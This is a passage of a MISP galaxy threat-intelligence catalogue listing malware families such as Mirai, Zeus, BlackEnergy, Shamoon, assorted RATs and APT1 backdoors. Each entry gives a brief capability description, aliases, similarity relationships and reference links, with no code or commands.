- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Yahoyah" with estimative-language:likelihood-probability="likely"

Table 3986. Table References

Links
https://citizenlab.org/2016/11/parliament-keyboy/
https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india

Yahoyah

The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware…

The tag is: *misp-galaxy:tool="Yahoyah"*

Yahoyah is also known as:

- W32/Seeav

Yahoyah has relationships with:

- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="KeyBoy" with estimative-language:likelihood-probability="likely"

Table 3987. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Tartine

Delphi RAT used by Sofacy.

The tag is: *misp-galaxy:tool="Tartine"*

Mirai

Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.

The tag is: *misp-galaxy:tool="Mirai"*

Mirai is also known as:

- Linux/Mirai

Mirai has relationships with:

- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 3988. Table References

Links
https://en.wikipedia.org/wiki/Mirai_(malware)

Masuta

IoT malware based on Mirai but slightly improved.

The tag is: *misp-galaxy:tool="Masuta"*

Masuta is also known as:

- PureMasuta

Table 3989. Table References

Links
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7

BASHLITE

The tag is: *misp-galaxy:tool="BASHLITE"*

BlackEnergy

BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

The tag is: *misp-galaxy:tool="BlackEnergy"*

BlackEnergy has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"

Table 3990. Table References

Links
https://www.virusbulletin.com/conference/vb2014/abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland/

Trojan.Seaduke

Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The tag is: *misp-galaxy:tool="Trojan.Seaduke"*

Trojan.Seaduke is also known as:

- Seaduke

Table 3991. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-031915-4935-99

Backdoor.Tinybaron

The tag is: *misp-galaxy:tool="Backdoor.Tinybaron"*

Incognito RAT

The tag is: *misp-galaxy:tool="Incognito RAT"*

DownRage

The tag is: *misp-galaxy:tool="DownRage"*

DownRage is also known as:

- Carberplike

Table 3992. Table References

Links
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
https://twitter.com/Timo_Steffens/status/814781584536719360

GeminiDuke

GeminiDuke is malware that was used by APT29 from 2009 to 2012.

The tag is: *misp-galaxy:tool="GeminiDuke"*

GeminiDuke has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="GeminiDuke - S0049" with estimative-language:likelihood-probability="likely"

Table 3993. Table References

Links
https://attack.mitre.org/wiki/Software/S0049

Zeus

Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.

The tag is: *misp-galaxy:tool="Zeus"*

Zeus is also known as:

- Trojan.Zbot
- Zbot

Zeus has relationships with:

- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 3994. Table References

Links
https://en.wikipedia.org/wiki/Zeus_(malware)
https://www.symantec.com/security_response/writeup.jsp?docid=2010-011016-3514-99

Shifu

Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.

The tag is: *misp-galaxy:tool="Shifu"*

Shifu has relationships with:

- similar: misp-galaxy:malpedia="Shifu" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Shiz" with estimative-language:likelihood-probability="likely"

Table 3995. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/

Shiz

The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users.

The tag is: *misp-galaxy:tool="Shiz"*

Shiz has relationships with:

- similar: misp-galaxy:tool="Shifu" with estimative-language:likelihood-probability="likely"

Table 3996. Table References

Links
https://securityintelligence.com/tag/shiz-trojan-malware/

MM Core

Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.

The tag is: *misp-galaxy:tool="MM Core"*

MM Core is also known as:

- MM Core backdoor
- BigBoss
- SillyGoose
- BaneChant
- StrangeLove

MM Core has relationships with:

- similar: misp-galaxy:malpedia="MM Core" with estimative-language:likelihood-probability="likely"

Table 3997. Table References

Links
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

Shamoon

Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]

The tag is: *misp-galaxy:tool="Shamoon"*

Shamoon is also known as:

- DistTrack

Shamoon has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Shamoon - S0140" with estimative-language:likelihood-probability="likely"

Table 3998. Table References

Links
https://en.wikipedia.org/wiki/Shamoon
https://securityaffairs.co/wordpress/78867/breaking-news/shamoon-virustotal.html

GhostAdmin

According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.

The tag is: *misp-galaxy:tool="GhostAdmin"*

GhostAdmin has relationships with:

- similar: misp-galaxy:malpedia="GhostAdmin" with estimative-language:likelihood-probability="likely"

Table 3999. Table References

Links
https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/

EyePyramid Malware

Two Italians referred to as the "Occhionero brothers" have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called "EyePyramid", which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)

The tag is: *misp-galaxy:tool="EyePyramid Malware"*

Table 4000. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/

LuminosityLink

LuminosityLink is a malware family costing $40 that purports to be a system administration utility

The tag is: *misp-galaxy:tool="LuminosityLink"*

Table 4001. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/

Flokibot

Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.

The tag is: *misp-galaxy:tool="Flokibot"*

Flokibot is also known as:

- Floki Bot
- Floki

Table 4002. Table References

Links
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/

ZeroT

Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.

The tag is: *misp-galaxy:tool="ZeroT"*

ZeroT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="ZeroT - S0230" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"

Table 4003. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

StreamEx

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

The tag is: *misp-galaxy:tool="StreamEx"*

StreamEx has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="StreamEx - S0142" with estimative-language:likelihood-probability="likely"

Table 4004. Table References

Links
https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

adzok

Remote Access Trojan

The tag is: *misp-galaxy:tool="adzok"*

Table 4005. Table References

Links
https://github.com/kevthehermit/RATDecoders

albertino

Remote Access Trojan

The tag is: *misp-galaxy:tool="albertino"*

Table 4006. Table References

Links
https://github.com/kevthehermit/RATDecoders

arcom

Remote Access Trojan

The tag is: *misp-galaxy:tool="arcom"*

Table 4007. Table References

Links
https://github.com/kevthehermit/RATDecoders

blacknix

Remote Access Trojan

The tag is: *misp-galaxy:tool="blacknix"*

Table 4008. Table References

Links
https://github.com/kevthehermit/RATDecoders

bluebanana

Remote Access Trojan

The tag is: *misp-galaxy:tool="bluebanana"*

Table 4009. Table References

Links
https://github.com/kevthehermit/RATDecoders

bozok

Remote Access Trojan

The tag is: *misp-galaxy:tool="bozok"*

Table 4010. Table References

Links
https://github.com/kevthehermit/RATDecoders

clientmesh

Remote Access Trojan

The tag is: *misp-galaxy:tool="clientmesh"*

Table 4011. Table References

Links
https://github.com/kevthehermit/RATDecoders

cybergate

Remote Access Trojan

The tag is: *misp-galaxy:tool="cybergate"*

Table 4012. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkcomet

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkcomet"*

Table 4013. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkrat"*

Table 4014. Table References

Links
https://github.com/kevthehermit/RATDecoders

gh0st

Remote Access Trojan

The tag is: *misp-galaxy:tool="gh0st"*

gh0st has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="gh0st - S0032" with estimative-language:likelihood-probability="likely"

Table 4015. Table References

Links
https://github.com/kevthehermit/RATDecoders

greame

Remote Access Trojan

The tag is: *misp-galaxy:tool="greame"*

Table 4016. Table References

Links
https://github.com/kevthehermit/RATDecoders

hawkeye

Remote Access Trojan

The tag is: *misp-galaxy:tool="hawkeye"*

Table 4017. Table References

Links
https://github.com/kevthehermit/RATDecoders

javadropper

Remote Access Trojan

The tag is: *misp-galaxy:tool="javadropper"*

Table 4018. Table References

Links
https://github.com/kevthehermit/RATDecoders

lostdoor

Remote Access Trojan

The tag is: *misp-galaxy:tool="lostdoor"*

Table 4019. Table References

Links
https://github.com/kevthehermit/RATDecoders

luxnet

Remote Access Trojan

The tag is: *misp-galaxy:tool="luxnet"*

Table 4020. Table References

Links
https://github.com/kevthehermit/RATDecoders

pandora

Remote Access Trojan

The tag is: *misp-galaxy:tool="pandora"*

Table 4021. Table References

Links
https://github.com/kevthehermit/RATDecoders

poisonivy

Remote Access Trojan

The tag is: *misp-galaxy:tool="poisonivy"*

poisonivy has relationships with:

- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"

Table 4022. Table References

Links
https://github.com/kevthehermit/RATDecoders

predatorpain

Remote Access Trojan

The tag is: *misp-galaxy:tool="predatorpain"*

Table 4023. Table References

Links
https://github.com/kevthehermit/RATDecoders

punisher

Remote Access Trojan

The tag is: *misp-galaxy:tool="punisher"*

Table 4024. Table References

Links
https://github.com/kevthehermit/RATDecoders

qrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="qrat"*

qrat has relationships with:

- similar: misp-galaxy:rat="Qarallax" with estimative-language:likelihood-probability="likely"

Table 4025. Table References

Links
https://github.com/kevthehermit/RATDecoders

shadowtech

Remote Access Trojan

The tag is: *misp-galaxy:tool="shadowtech"*

Table 4026. Table References

Links
https://github.com/kevthehermit/RATDecoders

smallnet

Remote Access Trojan

The tag is: *misp-galaxy:tool="smallnet"*

Table 4027. Table References

Links
https://github.com/kevthehermit/RATDecoders

spygate

Remote Access Trojan

The tag is: *misp-galaxy:tool="spygate"*

Table 4028. Table References

Links
https://github.com/kevthehermit/RATDecoders

template

Remote Access Trojan

The tag is: *misp-galaxy:tool="template"*

Table 4029. Table References

Links
https://github.com/kevthehermit/RATDecoders

tapaoux

Remote Access Trojan

The tag is: *misp-galaxy:tool="tapaoux"*

Table 4030. Table References

Links
https://github.com/kevthehermit/RATDecoders

vantom

Remote Access Trojan

The tag is: *misp-galaxy:tool="vantom"*

Table 4031. Table References

Links
https://github.com/kevthehermit/RATDecoders

virusrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="virusrat"*

Table 4032. Table References

Links
https://github.com/kevthehermit/RATDecoders

xena

Remote Access Trojan

The tag is: *misp-galaxy:tool="xena"*

Table 4033. Table References

Links
https://github.com/kevthehermit/RATDecoders

xtreme

Remote Access Trojan

The tag is: *misp-galaxy:tool="xtreme"*

Table 4034. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkddoser

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkddoser"*

Table 4035. Table References

Links
https://github.com/kevthehermit/RATDecoders

jspy

Remote Access Trojan

The tag is: *misp-galaxy:tool="jspy"*

Table 4036. Table References

Links
https://github.com/kevthehermit/RATDecoders

xrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="xrat"*

Table 4037. Table References

Links
https://github.com/kevthehermit/RATDecoders

PupyRAT

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.

The tag is: *misp-galaxy:tool="PupyRAT"*

Table 4038. Table References

Links
https://github.com/n1nj4sec/pupy

ELF_IMEIJ

Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.

The tag is: *misp-galaxy:tool="ELF_IMEIJ"*

Table 4039. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/elf_imeij.a

KHRAT

KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.

The tag is: *misp-galaxy:tool="KHRAT"*

KHRAT has relationships with:

- similar: misp-galaxy:malpedia="KHRAT" with estimative-language:likelihood-probability="likely"

Table 4040. Table References

Links
https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor

Trochilus

The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.

The tag is: *misp-galaxy:tool="Trochilus"*

Trochilus has relationships with:

- similar: misp-galaxy:rat="Trochilus" with estimative-language:likelihood-probability="likely"

Table 4041. Table References

Links
http://www.enigmasoftware.com/trochilusrat-removal/

MoonWind

The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,

The tag is: *misp-galaxy:tool="MoonWind"*

MoonWind has relationships with:

- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 4042. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Chrysaor

Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.

The tag is: *misp-galaxy:tool="Chrysaor"*

Chrysaor is also known as:

- Pegasus
- Pegasus spyware

Chrysaor has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="Pegasus - MOB-S0005" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="Pegasus for Android - MOB-S0032" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"

Table 4043. Table References

Links
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

Sathurbot

The trojan serves as a backdoor. It can be controlled remotely.

The tag is: *misp-galaxy:tool="Sathurbot"*

Sathurbot has relationships with:

- similar: misp-galaxy:malpedia="Sathurbot" with estimative-language:likelihood-probability="likely"

Table 4044. Table References

Links
http://virusradar.com/en/Win32_Sathurbot.A/description
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/

AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="AURIGA"*

Table 4045. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="BANGAT"*

Table 4046. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BISCUIT

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: *misp-galaxy:tool="BISCUIT"*

BISCUIT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="likely"

Table 4047. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BOUNCER

BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: *misp-galaxy:tool="BOUNCER"*

Table 4048. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

CALENDAR

This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.

The tag is: *misp-galaxy:tool="CALENDAR"*

CALENDAR has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="likely"

Table 4049. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

COMBOS

The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.

The tag is: *misp-galaxy:tool="COMBOS"*

Table 4050. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

COOKIEBAG

his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.

The tag is: *misp-galaxy:tool="COOKIEBAG"*

COOKIEBAG is also known as:

- TROJAN.COOKIES

Table 4051. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

DAIRY

Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.

The tag is: *misp-galaxy:tool="DAIRY"*

Table 4052. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GETMAIL

Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.

The tag is: *misp-galaxy:tool="GETMAIL"*

Table 4053. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GDOCUPLOAD

This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google's published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The tag is: *misp-galaxy:tool="GDOCUPLOAD"*

Table 4054. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GLOOXMAIL

GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: *misp-galaxy:tool="GLOOXMAIL"*

GLOOXMAIL is also known as:

- TROJAN.GTALK

GLOOXMAIL has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"

Table 4055. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GOGGLES

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: *misp-galaxy:tool="GOGGLES"*

GOGGLES is also known as:

- TROJAN.FOXY

Table 4056. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GREENCAT

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: *misp-galaxy:tool="GREENCAT"*

Table 4057. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HACKFASE

```
This family of malware is a backdoor that provides reverse shell, process creation,
system statistics collection, process enumeration, and process termination
capabilities. This family is designed to be a service DLL and does not contain an
installation mechanism. It usually communicates over port 443. Some variants use their
own encryption, others use SSL.
```

The tag is: *misp-galaxy:tool="HACKFASE"*

Table 4058. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HELAUTO

```
This family of malware is designed to operate as a service and provides remote command
execution and file transfer capabilities to a fixed IP address or domain name. All
communication with the C2 server happens over port 443 using SSL. This family can be
installed as a service DLL. Some variants allow for uninstallation.
```

The tag is: *misp-galaxy:tool="HELAUTO"*

Table 4059. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

KURTON

This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.

The tag is: *misp-galaxy:tool="KURTON"*

Table 4060. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LIGHTBOLT

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.

The tag is: *misp-galaxy:tool="LIGHTBOLT"*

Table 4061. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LIGHTDART

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: *misp-galaxy:tool="LIGHTDART"*

Table 4062. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LONGRUN

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The tag is: *misp-galaxy:tool="LONGRUN"*

Table 4063. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

MANITSME

This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.

The tag is: *misp-galaxy:tool="MANITSME"*

Table 4064. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

MAPIGET

This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).

The tag is: *misp-galaxy:tool="MAPIGET"*

Table 4065. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html
